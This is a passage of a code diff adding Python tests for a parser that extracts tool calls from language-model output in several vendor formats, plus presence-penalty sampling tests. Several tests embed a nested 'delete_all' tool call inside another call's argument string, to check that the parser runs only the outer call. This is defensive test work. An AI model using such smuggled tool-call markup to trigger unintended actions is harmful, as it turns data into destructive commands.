+    assert args["query"] == '"exact phrase"'
+
+
+def test_glm_unclosed_arg_value_is_rejected_in_strict_mode():
+    # Closing </tool_call> present but a value never closes: strict mode must reject
+    # the whole call rather than execute it with the argument silently dropped.
+    text = (
+        "<tool_call>web_search\n"
+        "<arg_key>query</arg_key>\n"
+        "<arg_value>Tokyo weather"  # no </arg_value>
+        "</tool_call>"
+    )
+    assert parse_tool_calls_from_text(text, allow_incomplete = False) == []
+    # With Auto-Heal the partial value is kept, not dropped to a no-arg call.
+    healed = parse_tool_calls_from_text(text, allow_incomplete = True)
+    assert len(healed) == 1
+    args = json.loads(healed[0]["function"]["arguments"])
+    assert "Tokyo weather" in args.get("query", "")
+
+
+def test_deepseek_v3_missing_call_terminator_rejected_in_strict_mode():
+    # Envelope closes but the per-call <｜tool▁call▁end｜> is absent. Strict mode
+    # must reject (it is truncated/merged); Auto-Heal still parses it.
+    text = (
+        "<｜tool▁calls▁begin｜>"
+        "<｜tool▁call▁begin｜>get_time"
+        '<｜tool▁sep｜>{"city":"Tokyo"}'
+        "<｜tool▁calls▁end｜>"  # envelope end only, no per-call end
+    )
+    assert parse_tool_calls_from_text(text, allow_incomplete = False) == []
+    healed = parse_tool_calls_from_text(text, allow_incomplete = True)
+    assert len(healed) == 1
+    assert healed[0]["function"]["name"] == "get_time"
+
+
+def test_deepseek_v3_with_call_terminator_parses_in_strict_mode():
+    # Sanity: a well-formed V3 call (with the per-call end marker) still parses
+    # under strict mode after the terminator check.
+    text = (
+        "<｜tool▁calls▁begin｜>"
+        "<｜tool▁call▁begin｜>get_time"
+        '<｜tool▁sep｜>{"city":"Tokyo"}'
+        "<｜tool▁call▁end｜>"
+        "<｜tool▁calls▁end｜>"
+    )
+    calls = parse_tool_calls_from_text(text, allow_incomplete = False)
+    assert len(calls) == 1
+    assert calls[0]["function"]["name"] == "get_time"
+
+
+def test_strip_tool_markup_removes_nested_wrapperless_gemma_call():
+    # Wrapper-less Gemma call with a NESTED object arg: the balanced helper must strip the whole call, not leave a trailing ``}``.
+    text = "answer: call:f{loc:{city:NYC},n:3} done"
+    stripped = strip_tool_markup(text, final = True)
+    assert "call:f" not in stripped
+    assert "}" not in stripped
+    assert "answer:" in stripped and "done" in stripped
+
+
+# Pass-3 review findings: bare-Kimi streaming (non-final) strip symmetry
+# and the wrapper-less Gemma route-display strip
+
+
+def test_strip_tool_markup_non_final_removes_bare_kimi_call():
+    # A bare ``<|tool_call_begin|>...<|tool_call_end|>`` (no section wrapper): the CLOSED (final=False) strip must remove it too.
+    text = (
+        "before "
+        "<|tool_call_begin|>functions.web_search:0"
+        '<|tool_call_argument_begin|>{"q":"x"}'
+        "<|tool_call_end|>"
+        " after"
+    )
+    stripped = strip_tool_markup(text, final = False)
+    assert "tool_call_begin" not in stripped
+    assert "tool_call_end" not in stripped
+    assert "before" in stripped and "after" in stripped
+
+
+def test_routes_layer_strip_removes_wrapperless_gemma_call():
+    # Gemma 4 (skip_special_tokens) emits a wrapper-less ``call:NAME{..}`` with no XML markers.
+    from routes.inference import _strip_tool_xml as _routes_strip
+
+    text = 'before call:web_search{query:"weather in Sydney"} after'
+    stripped = _routes_strip(text)
+    assert "call:web_search" not in stripped
+    assert "before" in stripped and "after" in stripped
+
+
+def test_deepseek_envelope_end_inside_arg_string_is_not_a_truncation():
+    # A DeepSeek V3.1 call whose argument string contains the literal envelope-end token must not be dropped.
+    content = (
+        "<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>web_search<｜tool▁sep｜>"
+        '{"query":"what does <｜tool▁calls▁end｜> mean"}'
+        "<｜tool▁call▁end｜><｜tool▁calls▁end｜>"
+    )
+    calls = parse_tool_calls_from_text(content)
+    assert len(calls) == 1, calls
+    assert calls[0]["function"]["name"] == "web_search"
+    assert json.loads(calls[0]["function"]["arguments"]) == {
+        "query": "what does <｜tool▁calls▁end｜> mean"
+    }
+
+
+def test_glm_value_containing_literal_arg_value_close_is_preserved():
+    # A GLM string argument may legitimately contain </arg_value>.
+    content = (
+        "<tool_call>run<arg_key>code</arg_key>"
+        '<arg_value>print("</arg_value>")</arg_value></tool_call>'
+    )
+    calls = parse_tool_calls_from_text(content)
+    assert len(calls) == 1, calls
+    assert json.loads(calls[0]["function"]["arguments"]) == {"code": 'print("</arg_value>")'}
+
+
+def test_attribute_form_function_with_embedded_marker_runs_outer_call():
+    # <function name="outer"> is a supported envelope; a DeepSeek/Kimi marker inside one of its
+    # parameter values is data, not a second call.
+    content = (
+        '<function name="respond"><parameter name="answer">'
+        "The Kimi format is <|tool_call_begin|>functions.delete_all:0"
+        "<|tool_call_argument_begin|>{}<|tool_call_end|>"
+        "</parameter></function>"
+    )
+    calls = parse_tool_calls_from_text(content)
+    assert [c["function"]["name"] for c in calls] == ["respond"], calls
+
+
+def test_wrapperless_gemma_call_gated_by_enabled_tools():
+    # Once skip_special_tokens removes the <|tool_call> wrapper, call:NAME{...} is
+    # indistinguishable from prose documenting the Gemma syntax.
+    prose = "Here is an example of the syntax: call:foo{x:1}. That shows how tools work."
+    assert parse_tool_calls_from_text(prose, enabled_tool_names = {"web_search"}) == []
+    # The display strip is gated the same way, so the example survives in the answer.
+    assert "call:foo{x:1}" in strip_tool_markup(
+        prose, final = True, enabled_tool_names = {"web_search"}
+    )
+    # An enabled name is still a real call (parsed, and stripped from display).
+    real = "Answer. call:web_search{query:hi}"
+    calls = parse_tool_calls_from_text(real, enabled_tool_names = {"web_search"})
+    assert [c["function"]["name"] for c in calls] == ["web_search"], calls
+    assert "call:web_search" not in strip_tool_markup(
+        real, final = True, enabled_tool_names = {"web_search"}
+    )
+
+
+def test_kimi_section_end_inside_arg_string_is_not_a_truncation():
+    # In a multi-call Kimi section, a later call whose argument holds the literal section-end token must not truncate the section.
+    content = (
+        "<|tool_calls_section_begin|>"
+        "<|tool_call_begin|>functions.search:0<|tool_call_argument_begin|>"
+        '{"q":"cats"}<|tool_call_end|>'
+        "<|tool_call_begin|>functions.explain:1<|tool_call_argument_begin|>"
+        '{"text":"the token <|tool_calls_section_end|> means end"}<|tool_call_end|>'
+        "<|tool_calls_section_end|>"
+    )
+    calls = parse_tool_calls_from_text(content)
+    assert [c["function"]["name"] for c in calls] == ["search", "explain"], calls
+    assert json.loads(calls[1]["function"]["arguments"]) == {
+        "text": "the token <|tool_calls_section_end|> means end"
+    }
+
+
+def test_closed_envelope_before_deepseek_block_owns_turn():
+    # Document order is the contract: a CLOSED <tool_call>/<function> call that precedes a
+    # DeepSeek/Kimi block owns the turn, even when prose frames it as an example.
+    deepseek = (
+        "<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>function<｜tool▁sep｜>search_web\n"
+        "```json\n"
+        '{"query":"weather in Paris"}\n'
+        "```"
+        "<｜tool▁call▁end｜><｜tool▁calls▁end｜>"
+    )
+    prose = (
+        'A Qwen call looks like <tool_call>{"name":"example_tool","arguments":{}}</tool_call>.\n'
+    )
+    calls = parse_tool_calls_from_text(prose + deepseek)
+    assert [c["function"]["name"] for c in calls] == ["example_tool"], calls
+
+    kimi = (
+        "<|tool_calls_section_begin|><|tool_call_begin|>functions.lookup:0"
+        '<|tool_call_argument_begin|>{"id":7}<|tool_call_end|><|tool_calls_section_end|>'
+    )
+    calls_k = parse_tool_calls_from_text("Example: <function=demo>{}</function> and now:\n" + kimi)
+    assert [c["function"]["name"] for c in calls_k] == ["demo"], calls_k
+
+
+def test_marker_inside_closed_outer_envelope_still_runs_outer_call():
+    # The guard must fire when the marker sits INSIDE a closed outer <function>/<tool_call> envelope's arguments: the OUTER call wins.
+    outer = (
+        "<function=lookup><parameter=q>what does <｜tool▁calls▁begin｜> mean</parameter></function>"
+    )
+    calls = parse_tool_calls_from_text(outer)
+    # The outer envelope is the real call; the embedded DeepSeek marker must not
+    # hijack the parse into a spurious tool.
+    assert [c["function"]["name"] for c in calls] == ["lookup"], calls
+    assert json.loads(calls[0]["function"]["arguments"]) == {
+        "q": "what does <｜tool▁calls▁begin｜> mean"
+    }
+
+
+def test_truncated_outer_envelope_with_embedded_marker_heals_outer_call():
+    # A TRUNCATED outer <function> call embedding a DeepSeek/Kimi marker in its argument still Auto-Heals as the outer call.
+    trunc = '<function=python><parameter=code>x = "<｜tool▁calls▁begin｜>sample"</parameter>'
+    calls = parse_tool_calls_from_text(trunc)
+    assert [c["function"]["name"] for c in calls] == ["python"], calls
+
+
+def test_python_tag_call_with_embedded_marker_runs_outer_call():
+    # ``<|python_tag|>`` is Llama-3's tool-call envelope, so a DeepSeek/Kimi example quoted
+    # in its argument is data: the OUTER python_tag call (``web_search``) must run, not the
+    # embedded marker (``delete_all``).
+    kimi = (
+        "<|tool_calls_section_begin|><|tool_call_begin|>functions.delete_all:0"
+        "<|tool_call_argument_begin|>{}<|tool_call_end|><|tool_calls_section_end|>"
+    )
+    deepseek = (
+        "<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>delete_all<｜tool▁sep｜>{}"
+        "<｜tool▁call▁end｜><｜tool▁calls▁end｜>"
+    )
+    for embedded in (kimi, deepseek):
+        builtin = '<|python_tag|>web_search.call(query="explain ' + embedded + '")'
+        calls = parse_tool_calls_from_text(builtin, enabled_tool_names = {"web_search"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"], calls
+        custom = (
+            '<|python_tag|>{"name":"web_search","parameters":'
+            '{"query":"explain ' + embedded + '"}}'
+        )
+        calls = parse_tool_calls_from_text(custom, enabled_tool_names = {"web_search"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"], calls
+
+    # A bare ``<|python_tag|>`` prose mention (no call shape) must NOT be treated as an
+    # envelope: a real Kimi call after it still parses (the call-shaped lookahead guard).
+    prose = "The token <|python_tag|> is used. " + kimi
+    calls = parse_tool_calls_from_text(prose)
+    assert [c["function"]["name"] for c in calls] == ["delete_all"], calls
+
+
+def test_gemma_wrapperless_quoted_value_with_comma_not_split():
+    # A wrapper-less Gemma call whose quoted value contains ``, key:``.
+    text = 'call:web_search{query:"weather, location: Boston", limit:3}'
+    calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+    assert [c["function"]["name"] for c in calls] == ["web_search"], calls
+    assert json.loads(calls[0]["function"]["arguments"]) == {
+        "query": "weather, location: Boston",
+        "limit": 3,
+    }
+
+
+def test_literal_close_tag_in_xml_arg_before_marker_runs_outer_call():
+    # A literal ``</function>`` inside an outer XML argument (before a marker) is not the envelope close: the span reaches the REAL final close.
+    text = (
+        '<function=python><parameter=code>x = "</function> '
+        "<|tool_call_begin|>functions.delete_all:0<|tool_call_argument_begin|>{}"
+        '<|tool_call_end|>"</parameter></function>'
+    )
+    calls = parse_tool_calls_from_text(text)
+    assert [c["function"]["name"] for c in calls] == ["python"], calls
+
+
+def test_literal_tool_call_close_in_qwen_json_before_marker_runs_outer_call():
+    # A Qwen/Hermes <tool_call> whose JSON argument holds a literal </tool_call> then a marker must run the OUTER call.
+    text = (
+        '<tool_call>{"name":"search","arguments":{"query":"explain </tool_call> then '
+        "<|tool_call_begin|>functions.delete_all:0<|tool_call_argument_begin|>{}"
+        '<|tool_call_end|>"}}</tool_call>'
+    )
+    calls = parse_tool_calls_from_text(text)
+    assert [c["function"]["name"] for c in calls] == ["search"], calls
+    # Back-to-back Qwen calls still parse independently (real-close span must keep the
+    # negative-lookahead that separates adjacent calls).
+    bb = (
+        '<tool_call>{"name":"a","arguments":{}}</tool_call>'
+        '<tool_call>{"name":"b","arguments":{}}</tool_call>'
+    )
+    assert [c["function"]["name"] for c in parse_tool_calls_from_text(bb)] == ["a", "b"]
+
+
+def test_r1_heal_keeps_later_call_when_first_omits_close_fence():
+    # DeepSeek R1 multi-call where the FIRST call has balanced JSON but omits its close
+    # fence/terminator, followed by a well-formed second call.
+    text = (
+        "<｜tool▁calls▁begin｜>"
+        "<｜tool▁call▁begin｜>function<｜tool▁sep｜>get_weather\n```json\n"
+        '{"city":"SF"}\n```'  # no <｜tool▁call▁end｜>
+        "<｜tool▁call▁begin｜>function<｜tool▁sep｜>get_time\n```json\n"
+        '{"tz":"UTC"}\n```<｜tool▁call▁end｜><｜tool▁calls▁end｜>'
+    )
+    heal = [c["function"]["name"] for c in parse_tool_calls_from_text(text)]
+    assert "get_time" in heal, heal
+    # Strict keeps the later well-formed call; heal must be a superset.
+    strict = [
+        c["function"]["name"] for c in parse_tool_calls_from_text(text, allow_incomplete = False)
+    ]
+    assert set(strict) <= set(heal), (strict, heal)
+
+
+def test_wrapperless_gemma_nested_call_in_arg_is_not_a_second_call():
+    # A wrapper-less Gemma call whose quoted argument mentions another enabled tool must not execute that nested name.
+    text = 'call:web_search{query:"explain call:delete_all{target:files}"}'
+    calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "delete_all"})
+    assert [c["function"]["name"] for c in calls] == ["web_search"], calls
+    assert json.loads(calls[0]["function"]["arguments"]) == {
+        "query": "explain call:delete_all{target:files}"
+    }
+    # Two genuinely separate calls still both parse.
+    two = "call:web_search{query:hi}call:get_time{tz:UTC}"
+    assert [
+        c["function"]["name"]
+        for c in parse_tool_calls_from_text(two, enabled_tool_names = {"web_search", "get_time"})
+    ] == ["web_search", "get_time"]
+
+
+def test_leading_bare_json_call_owns_quoted_gemma_snippet():
+    # Document order: a leading Llama-3.2 bare-JSON call with trailing prose owns the turn.
+    text = (
+        '{"name":"lookup","parameters":{"note":"use call:web_search{query:cats} for this"}}\n'
+        "That is the call I would make."
+    )
+    calls = parse_tool_calls_from_text(text, enabled_tool_names = {"lookup", "web_search"})
+    assert [c["function"]["name"] for c in calls] == ["lookup"], calls
+    assert json.loads(calls[0]["function"]["arguments"]) == {
+        "note": "use call:web_search{query:cats} for this"
+    }
+
+    # Same with the ``;`` inter-call separator: both real calls parse, the
+    # quoted snippet still does not.
+    two = (
+        '{"name":"lookup","parameters":{"note":"see call:web_search{query:cats}"}};'
+        '{"name":"lookup","parameters":{"q":"second"}}'
+    )
+    calls_two = parse_tool_calls_from_text(two, enabled_tool_names = {"lookup", "web_search"})
+    assert [c["function"]["name"] for c in calls_two] == ["lookup", "lookup"], calls_two
+
+
+def test_leading_gemma_call_still_wins_over_trailing_json_example():
+    # Reverse control: a real leading Gemma call followed by a bare-JSON example keeps the Gemma call (bare JSON matches only a LEADING object).
+    text = 'call:web_search{query:cats} Example JSON: {"name":"demo_tool","parameters":{}}'
+    calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "demo_tool"})
+    assert [c["function"]["name"] for c in calls] == ["web_search"], calls
+
+    # And prose-only enabled Gemma syntax (no leading JSON) still promotes: the
+    # markerless by-design behaviour is unchanged.
+    prose = "You can run call:web_search{query:cats} to search."
+    calls_p = parse_tool_calls_from_text(prose, enabled_tool_names = {"web_search"})
+    assert [c["function"]["name"] for c in calls_p] == ["web_search"], calls_p
+
+
+def test_leading_gemma_call_owns_quoted_mistral_trigger():
+    # A leading wrapper-less Gemma call whose argument quotes a Mistral trigger must win: the [TOOL_CALLS] literal is data.
+    text = 'call:web_search{query:"docs say [TOOL_CALLS]delete_all{}"}'
+    calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "delete_all"})
+    assert [c["function"]["name"] for c in calls] == ["web_search"], calls
+    assert json.loads(calls[0]["function"]["arguments"]) == {
+        "query": "docs say [TOOL_CALLS]delete_all{}"
+    }
+
+    # Reverse control: a real leading Mistral call still parses normally.
+    real = '[TOOL_CALLS]delete_all{"x":1}'
+    calls_m = parse_tool_calls_from_text(real, enabled_tool_names = {"web_search", "delete_all"})
+    assert [c["function"]["name"] for c in calls_m] == ["delete_all"], calls_m
+
+    # A DISABLED Gemma example quoting the trigger is dropped as prose and a
+    # real call after it still parses (drop-the-span recursion).
+    mixed = (
+        'Example: call:demo{note:"see [TOOL_CALLS]delete_all{}"}\n'
+        '[TOOL_CALLS]web_search{"q":"real"}'
+    )
+    calls_d = parse_tool_calls_from_text(mixed, enabled_tool_names = {"web_search", "delete_all"})
+    assert [c["function"]["name"] for c in calls_d] == ["web_search"], calls_d
+
+
+def test_chained_bare_json_owns_kimi_marker_in_later_call():
+    # Document order: two ;-chained bare-JSON calls own the turn even when the second's argument quotes a complete Kimi snippet.
+    kimi = (
+        "<|tool_call_begin|>functions.delete_all:0"
+        "<|tool_call_argument_begin|>{}<|tool_call_end|>"
+    )
+    two = (
+        '{"name":"lookup","parameters":{"q":"first"}};'
+        '{"name":"lookup","parameters":{"note":"' + kimi + '"}}'
+    )
+    calls = parse_tool_calls_from_text(two, enabled_tool_names = {"lookup", "delete_all"})
+    assert [c["function"]["name"] for c in calls] == ["lookup", "lookup"], calls
+
+    # Reverse control: prose followed by a real Kimi block still parses.
+    real = "Let me check.\n<|tool_calls_section_begin|>" + kimi + "<|tool_calls_section_end|>"
+    calls_k = parse_tool_calls_from_text(real, enabled_tool_names = {"lookup", "delete_all"})
+    assert [c["function"]["name"] for c in calls_k] == ["delete_all"], calls_k
+
+    # A closed leading Mistral call preceding a trailing Kimi example owns the
+    # turn too (same closed-call-precedes-marker rule).
+    mistral = '[TOOL_CALLS]lookup{"q":"first"} then example ' + kimi
+    calls_m = parse_tool_calls_from_text(mistral, enabled_tool_names = {"lookup", "delete_all"})
+    assert [c["function"]["name"] for c in calls_m] == ["lookup"], calls_m
+
+
+def test_nested_gemma_values_keep_commas_and_parens():
+    # Nested wrapper-less Gemma mappings/arrays use the top-level delimiter rules, so nested arguments are not split.
+    calls = parse_tool_calls_from_text(
+        "call:python{opts:{code:print(1,2),lang:py}}", enabled_tool_names = {"python"}
+    )
+    assert [c["function"]["name"] for c in calls] == ["python"], calls
+    assert json.loads(calls[0]["function"]["arguments"]) == {
+        "opts": {"code": "print(1,2)", "lang": "py"}
+    }
+
+    arr = parse_tool_calls_from_text(
+        "call:python{opts:[1,2,{a:f(1,2)}]}", enabled_tool_names = {"python"}
+    )
+    assert json.loads(arr[0]["function"]["arguments"]) == {"opts": [1, 2, {"a": "f(1,2)"}]}
+
+    prose_comma = parse_tool_calls_from_text(
+        "call:python{opts:{note:hello, world}}", enabled_tool_names = {"python"}
+    )
+    assert json.loads(prose_comma[0]["function"]["arguments"]) == {"opts": {"note": "hello, world"}}
+
+    quoted = parse_tool_calls_from_text(
+        'call:python{opts:{q:say "a, b" now,n:3}}', enabled_tool_names = {"python"}
+    )
+    assert json.loads(quoted[0]["function"]["arguments"]) == {
+        "opts": {"q": 'say "a, b" now', "n": 3}
+    }
+
+    # Controls: nested quoted values and multi-key mappings are unchanged, and
+    # a truncated nested value still falls back to the raw string.
+    nested_q = parse_tool_calls_from_text(
+        'call:python{loc:{city:"New York"}}', enabled_tool_names = {"python"}
+    )
+    assert json.loads(nested_q[0]["function"]["arguments"]) == {"loc": {"city": "New York"}}
+    multi = parse_tool_calls_from_text(
+        "call:python{opts:{a:1,b:2},n:3}", enabled_tool_names = {"python"}
+    )
+    assert json.loads(multi[0]["function"]["arguments"]) == {"opts": {"a": 1, "b": 2}, "n": 3}
+    trunc = parse_tool_calls_from_text(
+        "call:python{opts:{code:print(1,2}}", enabled_tool_names = {"python"}
+    )
+    assert json.loads(trunc[0]["function"]["arguments"]) == {"opts": "{code:print(1,2}"}
+
+
+def test_multi_gemma_calls_own_turn_over_signal_in_later_call():
+    # Document order: when the first enabled Gemma call closes before the first foreign signal, the leading call still owns the turn.
+    en = {"get_time", "web_search", "delete_all"}
+    both = parse_tool_calls_from_text(
+        'call:get_time{} call:web_search{query:"docs say [TOOL_CALLS]delete_all{}"}',
+        enabled_tool_names = en,
+    )
+    assert [c["function"]["name"] for c in both] == ["get_time", "web_search"], both
+    assert json.loads(both[1]["function"]["arguments"]) == {
+        "query": "docs say [TOOL_CALLS]delete_all{}"
+    }
+
+    # XML and Kimi markers in the later call's strings stay data too.
+    xml = parse_tool_calls_from_text(
+        'call:get_time{} call:web_search{query:"see <tool_call>delete_all</tool_call>"}',
+        enabled_tool_names = en,
+    )
+    assert [c["function"]["name"] for c in xml] == ["get_time", "web_search"], xml
+    kimi = parse_tool_calls_from_text(
+        'call:get_time{} call:web_search{query:"see <|tool_call_begin|>'
+        'functions.delete_all:0<|tool_call_argument_begin|>{}<|tool_call_end|>"}',
+        enabled_tool_names = en,
+    )
+    assert [c["function"]["name"] for c in kimi] == ["get_time", "web_search"], kimi
+
+    # A trailing prose example after the closed leading call defers the same way.
+    prose = parse_tool_calls_from_text(
+        "call:get_time{} Example: [TOOL_CALLS]delete_all{}", enabled_tool_names = en
+    )
+    assert [c["function"]["name"] for c in prose] == ["get_time"], prose
+
+
+def test_multi_gemma_ownership_reverse_controls():
+    # A real leading Mistral/XML call with a trailing Gemma example keeps the leading call; a signal before every Gemma call keeps normal order.
+    en = {"get_time", "web_search", "delete_all"}
+    mistral = parse_tool_calls_from_text(
+        '[TOOL_CALLS][{"name":"delete_all","arguments":{}}] Example: call:web_search{query:cats}',
+        enabled_tool_names = en,
+    )
+    assert [c["function"]["name"] for c in mistral] == ["delete_all"], mistral
+    xml_first = parse_tool_calls_from_text(
+        '<tool_call>{"name":"delete_all","arguments":{}}</tool_call> call:web_search{query:cats}',
+        enabled_tool_names = en,
+    )
+    assert [c["function"]["name"] for c in xml_first] == ["delete_all"], xml_first
+    agnostic = parse_tool_calls_from_text(
+        'call:foo{} <tool_call>{"name":"delete_all","arguments":{}}</tool_call>'
+    )
+    assert [c["function"]["name"] for c in agnostic] == ["delete_all"], agnostic
+
+
+def test_disabled_leading_bare_json_does_not_hide_later_marker_call():
+    # A leading bare-JSON object with a NOT-enabled name is prose: the real DeepSeek/Kimi call after it still parses.
+    kimi = (
+        "<|tool_calls_section_begin|><|tool_call_begin|>functions.web_search:0"
+        '<|tool_call_argument_begin|>{"q":"cats"}<|tool_call_end|><|tool_calls_section_end|>'
+    )
+    calls = parse_tool_calls_from_text(
+        '{"name":"draft","parameters":{}} ' + kimi, enabled_tool_names = {"web_search"}
+    )
+    assert [c["function"]["name"] for c in calls] == ["web_search"], calls
+    assert json.loads(calls[0]["function"]["arguments"]) == {"q": "cats"}
+
+    deepseek = (
+        "<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>function<｜tool▁sep｜>web_search\n"
+        '```json\n{"q":"cats"}\n```<｜tool▁call▁end｜><｜tool▁calls▁end｜>'
+    )
+    calls_ds = parse_tool_calls_from_text(
+        '{"name":"draft","parameters":{}} ' + deepseek, enabled_tool_names = {"web_search"}
+    )
+    assert [c["function"]["name"] for c in calls_ds] == ["web_search"], calls_ds
+
+
+def test_disabled_leading_bare_json_ownership_controls():
+    kimi_delete = (
+        "<|tool_calls_section_begin|><|tool_call_begin|>functions.delete_all:0"
+        "<|tool_call_argument_begin|>{}<|tool_call_end|><|tool_calls_section_end|>"
+    )
+    # ENABLED leading name still owns the turn (document order, the shipped
+    # inside-or-after rule).
+    owns = parse_tool_calls_from_text(
+        '{"name":"web_search","parameters":{"q":"first"}} ' + kimi_delete,
+        enabled_tool_names = {"web_search", "delete_all"},
+    )
+    assert [c["function"]["name"] for c in owns] == ["web_search"], owns
+    # A marker INSIDE the disabled object's own strings stays data: the span
+    # is prose, the tail holds no call, so nothing parses.
+    inside = parse_tool_calls_from_text(
+        '{"name":"draft","parameters":{"note":"see <|tool_call_begin|>functions.delete_all:0'
+        '<|tool_call_argument_begin|>{}<|tool_call_end|>"}}\nsome trailing prose',
+        enabled_tool_names = {"web_search", "delete_all"},
+    )
+    assert inside == [], inside
+    # Nameless leading JSON answers keep recursing to the real call.
+    nameless = parse_tool_calls_from_text(
+        '{"answer":42} ' + kimi_delete, enabled_tool_names = {"delete_all"}
+    )
+    assert [c["function"]["name"] for c in nameless] == ["delete_all"], nameless
+    # Name-agnostic path unchanged: the leading object is the call.
+    agnostic = parse_tool_calls_from_text('{"name":"draft","parameters":{}} ' + kimi_delete)
+    assert [c["function"]["name"] for c in agnostic] == ["draft"], agnostic
+
+
+def test_leading_json_answer_with_prose_keeps_quoted_gemma_snippet_as_data():
+    # A LEADING JSON answer followed by prose is data (same contract as the whole-content JSON exemption).
+    obj = '{"summary":"use call:web_search{query:cats} to search"}\nHope that helps!'
+    assert parse_tool_calls_from_text(obj, enabled_tool_names = {"web_search"}) == []
+    arr = '["use call:web_search{query:cats} to search"]\nHope that helps!'
+    assert parse_tool_calls_from_text(arr, enabled_tool_names = {"web_search"}) == []
+    assert strip_tool_markup(obj, enabled_tool_names = {"web_search"}) == obj
+
+    # A REAL call in the tail after the answer still parses (and strips).
+    tail = '{"summary":"done"}\ncall:web_search{query:cats}'
+    calls = parse_tool_calls_from_text(tail, enabled_tool_names = {"web_search"})
+    assert [c["function"]["name"] for c in calls] == ["web_search"], calls
+
+    # A leading brace run that is NOT valid JSON gets no exemption.
+    not_json = "{not json} call:web_search{query:cats}"
+    calls_nj = parse_tool_calls_from_text(not_json, enabled_tool_names = {"web_search"})
+    assert [c["function"]["name"] for c in calls_nj] == ["web_search"], calls_nj
+
+
+def test_glm_heal_bounds_unclosed_value_at_tool_call_close():
+    # Auto-Heal: a value missing only its </arg_value> before the block's </tool_call> heals to the
+    # value text, not the close tag and everything after it swallowed into the argument.
+    one = "<tool_call>get_weather<arg_key>city</arg_key><arg_value>NYC</tool_call>"
+    calls = parse_tool_calls_from_text(one, allow_incomplete = True)
+    assert [c["function"]["name"] for c in calls] == ["get_weather"], calls
+    assert json.loads(calls[0]["function"]["arguments"]) == {"city": "NYC"}
+
+    # Trailing prose after the close stays out of the healed value.
+    two = one + "\nLet me check that for you."
+    calls_two = parse_tool_calls_from_text(two, allow_incomplete = True)
+    assert json.loads(calls_two[0]["function"]["arguments"]) == {"city": "NYC"}
+
+    # Strict mode still rejects the unclosed value outright.
+    assert parse_tool_calls_from_text(one, allow_incomplete = False) == []
+
+    # A value truncated at EOF (no structural tag follows) keeps the partial heal, and a proper
+    # close whose value holds a literal </tool_call> is untouched by the bounding.
+    eof = "<tool_call>get_weather<arg_key>city</arg_key><arg_value>New York Ci"
+    calls_eof = parse_tool_calls_from_text(eof, allow_incomplete = True)
+    assert json.loads(calls_eof[0]["function"]["arguments"]) == {"city": "New York Ci"}
+    lit = (
+        "<tool_call>get_weather<arg_key>city</arg_key>"
+        '<arg_value>print("</tool_call>")</arg_value></tool_call>'
+    )
+    calls_lit = parse_tool_calls_from_text(lit, allow_incomplete = True)
+    assert json.loads(calls_lit[0]["function"]["arguments"]) == {"city": 'print("</tool_call>")'}
+
+
+def test_prose_mentioning_ds_kimi_markers_survives_final_strip():
+    # False-alarm literals: the trailing strip arms require a call-shaped
+    # lookahead, so an answer documenting a marker keeps its tail.
+    from core.inference.tool_call_parser import strip_tool_markup
+
+    for text in [
+        "The Kimi marker <|tool_calls_section_begin|> starts a section.",
+        "DeepSeek uses <｜tool▁calls▁begin｜> to open calls.",
+        "See <|tool_call_begin|> in the docs.",
+    ]:
+        assert strip_tool_markup(text, final = True) == text
+
+    # Truncated REAL calls still drop, and a bare marker at EOF is a fragment.
+    truncated_kimi = (
+        "<|tool_calls_section_begin|><|tool_call_begin|>functions.web_search:0"
+        '<|tool_call_argument_begin|>{"q'
+    )
+    assert strip_tool_markup(truncated_kimi, final = True) == ""
+    assert strip_tool_markup("prefix <|tool_calls_section_begin|>", final = True) == "prefix"
diff --git a/studio/backend/tests/test_presence_penalty.py b/studio/backend/tests/test_presence_penalty.py
new file mode 100644
index 0000000000..030ddb6011
--- /dev/null
+++ b/studio/backend/tests/test_presence_penalty.py
@@ -0,0 +1,252 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+"""Presence-penalty parity between the GGUF path and the safetensors/MLX paths.
+
+The safetensors path historically dropped ``presence_penalty``, so the SAME model
+looked worse served as safetensors. These tests pin the processor semantics
+(subtract once per distinct completion token, prompt excluded, presence not
+frequency, zero a no-op, negatives raise) plus a param-propagation regression
+over route -> orchestrator cmd -> worker gen_kwargs.
+"""
+
+import threading
+
+import pytest
+import torch
+
+from core.inference.presence_penalty import (
+    apply_presence_penalty,
+    _make_presence_penalty_processor,
+)
+
+
+def test_seen_token_gets_exactly_minus_penalty_unseen_unchanged():
+    input_ids = torch.tensor([[0, 1, 3]])  # prompt [0, 1], completion [3]
+    scores = torch.zeros(1, 5)
+    out = apply_presence_penalty(input_ids, scores, penalty = 1.5, prompt_len = 2)
+    assert out[0, 3].item() == pytest.approx(-1.5)
+    for tok in (0, 1, 2, 4):
+        assert out[0, tok].item() == pytest.approx(0.0)
+
+
+def test_multiplicity_ignored_presence_not_frequency():
+    # Token 3 emitted three times -> still a single -penalty (presence, not freq).
+    input_ids = torch.tensor([[0, 3, 3, 3]])
+    scores = torch.zeros(1, 5)
+    out = apply_presence_penalty(input_ids, scores, penalty = 2.0, prompt_len = 1)
+    assert out[0, 3].item() == pytest.approx(-2.0)
+
+
+def test_negative_penalty_raises_seen_logits():
+    input_ids = torch.tensor([[0, 2]])
+    scores = torch.zeros(1, 4)
+    out = apply_presence_penalty(input_ids, scores, penalty = -0.5, prompt_len = 1)
+    assert out[0, 2].item() == pytest.approx(0.5)
+
+
+def test_prompt_tokens_excluded():
+    # Token 7 is prompt-only (untouched); token 4 in the completion is penalized.
+    input_ids = torch.tensor([[7, 4, 4]])
+    scores = torch.zeros(1, 8)
+    out = apply_presence_penalty(input_ids, scores, penalty = 1.0, prompt_len = 1)
+    assert out[0, 7].item() == pytest.approx(0.0)
+    assert out[0, 4].item() == pytest.approx(-1.0)
+
+
+def test_batch_rows_isolated():
+    input_ids = torch.tensor([[0, 1], [0, 2]])  # row completions [1] and [2]
+    scores = torch.zeros(2, 4)
+    out = apply_presence_penalty(input_ids, scores, penalty = 1.0, prompt_len = 1)
+    assert out[0, 1].item() == pytest.approx(-1.0)
+    assert out[0, 2].item() == pytest.approx(0.0)
